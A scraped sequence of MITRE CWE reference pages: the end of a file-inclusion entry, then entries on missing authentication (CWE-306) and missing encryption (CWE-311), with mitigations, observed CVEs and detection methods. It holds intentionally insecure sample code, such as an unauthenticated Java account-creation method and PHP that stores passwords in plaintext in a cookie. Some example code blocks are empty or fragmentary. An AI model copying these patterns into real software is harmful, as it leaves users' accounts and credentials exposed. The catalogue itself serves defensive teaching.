CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-2154	PHP local file inclusion.
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2005-1964	PHP remote file include.
CVE-2005-1681	PHP remote file include.
CVE-2005-2086	PHP remote file include.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Forced Path Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-175	Code Inclusion
CAPEC-201	Serialized Data External Linking
CAPEC-228	DTD Injection
CAPEC-251	Local Code Inclusion
CAPEC-252	PHP Local File Inclusion
CAPEC-253	Remote Code Inclusion
CAPEC-263	Force Use of Corrupted Files
CAPEC-538	Open-Source Library Manipulation
CAPEC-549	Local Execution of Code
CAPEC-640	Inclusion of Code in Existing Process
CAPEC-660	Root/Jailbreak Detection Evasion via Hooking
CAPEC-695	Repo Jacking
CAPEC-698	Install Malicious Extension

References

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

Content History

Submissions
Submission Date	Submitter	Organization
2010-11-29 (CWE 1.11, 2010-12-13)	CWE Content Team	MITRE
2010-11-29 (CWE 1.11, 2010-12-13)
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Potential_Mitigations, Related_Attack_Patterns
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References, Related_Attack_Patterns
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Related_Attack_Patterns
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 306

View customized information:

Description

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Technical Impact: Gain Privileges or Assume Identity; Varies by Context Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, accessing administrative or other privileged functionality, or possibly even executing arbitrary code.

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.

Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Phase: Architecture and Design

Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.

In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	288	Authentication Bypass Using an Alternate Path or Channel
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	322	Key Exchange without Entity Authentication

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1211	Authentication Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design	Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
Operation	When migrating data to the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), there is a risk of losing the protections that were originally provided by hosting on internal networks. If access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

(bad code)

Example Language: Java

public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {

BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);

return account;

}

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

(good code)

Example Language: Java

private boolean isUserAuthentic = false;

// authenticate user,

// if user is authenticated then set variable to true

// otherwise set variable to false
public boolean authenticateUser(String username, String password) {

...

}

public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {

BankAccount account = null;

if (isUserAuthentic) {

account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);

}
return account;

}

Example 2

Multiple vendors did not use any authentication for critical functionality in their OT products.

Example 3

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)

Example Language: Other

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)

Example Language: Other

Observed Examples

Reference	Description
CVE-2022-31260	Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
CVE-2022-29951	TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
CVE-2022-29952	Condition Monitor firmware uses a protocol that does not require authentication.
CVE-2022-30276	SCADA-based protocol for bridging WAN and LAN traffic has no authentication.
CVE-2022-30313	Safety Instrumented System uses proprietary TCP protocols with no authentication.
CVE-2022-30317	Distributed Control System (DCS) uses a protocol that has no authentication.
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2020-10263	Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
CVE-2021-23147	WiFi router does not require authentication for its UART port, allowing adversaries with physical access to execute commands as root
CVE-2021-37415	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
CVE-2020-13927	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
CVE-2002-1810	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
CVE-2008-6827	Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.
CVE-2004-0213	Product enforces restrictions through a GUI but not through privileged APIs.
CVE-2020-15483	monitor device allows access to physical UART debug port without authentication
CVE-2019-9201	Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols.

Detection Methods

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Effectiveness: Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	952	SFP Secondary Cluster: Missing Authentication
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1365	ICS Communications: Unreliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1368	ICS Dependencies (& Architecture): External Digital Systems
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		No Authentication for Critical Function
Software Fault Patterns	SFP31	Missing authentication
ISA/IEC 62443	Part 4-2	Req CR 1.1
ISA/IEC 62443	Part 4-2	Req CR 1.2
ISA/IEC 62443	Part 4-2	Req CR 2.1
ISA/IEC 62443	Part 4-1	Req SR-2
ISA/IEC 62443	Part 4-1	Req SVV-3

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-12	Choosing Message Identifier
CAPEC-166	Force the System to Reset Values
CAPEC-216	Communication Channel Manipulation
CAPEC-36	Using Unpublished Interfaces or Functionality
CAPEC-62	Cross Site Request Forgery

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authentication," Page 36. 1st Edition. Addison Wesley. 2006.

[REF-257] Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". SANS Software Security Institute. 2010-02-23. <https://www.sans.org/blog/top-25-series-rank-19-missing-authentication-for-critical-function/>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-1298] Microsoft. "Authentication and authorization in Azure App Service and Azure Functions". 2021-11-23. <https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization>. URL validated: 2022-10-11.

[REF-1302] Google Cloud. "Authentication and authorization use cases". 2022-10-11. <https://cloud.google.com/docs/authentication/use-cases>. URL validated: 2022-10-11.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
2024-02-29 (CWE 4.15, 2024-07-16)	Abhi Balakrishnan
2024-02-29 (CWE 4.15, 2024-07-16)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Relationship_Notes, Taxonomy_Mappings
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Potential_Mitigations, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Related_Attack_Patterns, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	No Authentication for Critical Function

Weakness ID: 311

View customized information:

Description

The product does not encrypt sensitive or critical information before storage or transmission.

Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality Integrity	Technical Impact: Modify Application Data Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Potential Mitigations

Phase: Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Phase: Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

Encryption that is needed to store or transmit private data of the users of the system
Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.
Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Strategy: Separation of Privilege

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	693	Protection Mechanism Failure
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	312	Cleartext Storage of Sensitive Information
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	319	Cleartext Transmission of Sensitive Information
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	327	Use of a Broken or Risky Cryptographic Algorithm

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	312	Cleartext Storage of Sensitive Information
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	319	Cleartext Transmission of Sensitive Information

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1013	Encrypt Data

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)

Example Language: PHP

function persistLogin($username, $password){

$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);

}

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)

Example Language: C

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)

Example Language: Java

try {

}
catch (IOException e) {

//...

}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2009-2272	password and username stored in cleartext in a cookie
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.

Detection Methods

Manual Analysis

The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness: High

